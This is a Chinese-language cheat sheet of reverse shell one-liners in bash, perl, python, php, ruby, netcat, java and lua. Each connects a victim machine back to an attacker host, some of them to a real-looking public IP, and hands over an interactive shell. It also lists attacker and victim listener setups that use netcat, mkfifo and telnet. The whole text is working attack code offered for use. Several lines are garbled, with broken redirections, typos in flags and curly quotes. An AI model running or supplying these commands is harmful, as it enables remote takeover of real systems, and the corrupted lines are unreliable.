bash版本:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
注意这个是由解析shell的bash完成,所以某些情况下不支持
perl版本:
perl -e ‘use Socket;$i=”10.0.0.1″;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
python版本:
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.0.0.1″,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’
php版本:
php -r ‘$sock=fsockopen(“10.0.0.1″,1234);exec(“/bin/sh -i <&3 >&3 2>&3″);’
ruby版本:
ruby -rsocket -e’f=TCPSocket.open(“10.0.0.1″,1234).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’
nc版本:
nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999
java版本
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
lua版本:
lua -e “require(’socket’);require(‘os’);t=socket.tcp();t:connect(‘10.0.0.1′,’1234′);os.execute(‘/bin/sh -i <&3 >&3 2>&3′);”
nc不使用-e:
Hacker:nc -lvnp listenport
Victim:mknod /tmp/backpipe p
Victim:/bin/sh 0/tmp/backpipe
不使用nc
Method 1:
Hacker: nc -nvlpp 8080
Victim: /bin/bash -i > /dev/tcp/173.214.173.151/8080 0<&1 2>&1
Method 2:
Hacker: nc -nvlpp8080
Victim: mknod backpipe p && telnet 173.214.173.151 8080 0backpipe
Method 3:
Hacker: nc -nvlpp8080
Hacker: nc -nvlpp8888
Victim: telnet 173.214.173.151 8080 | /bin/bash | telnet 173.214.173.151 8888
参考文章:
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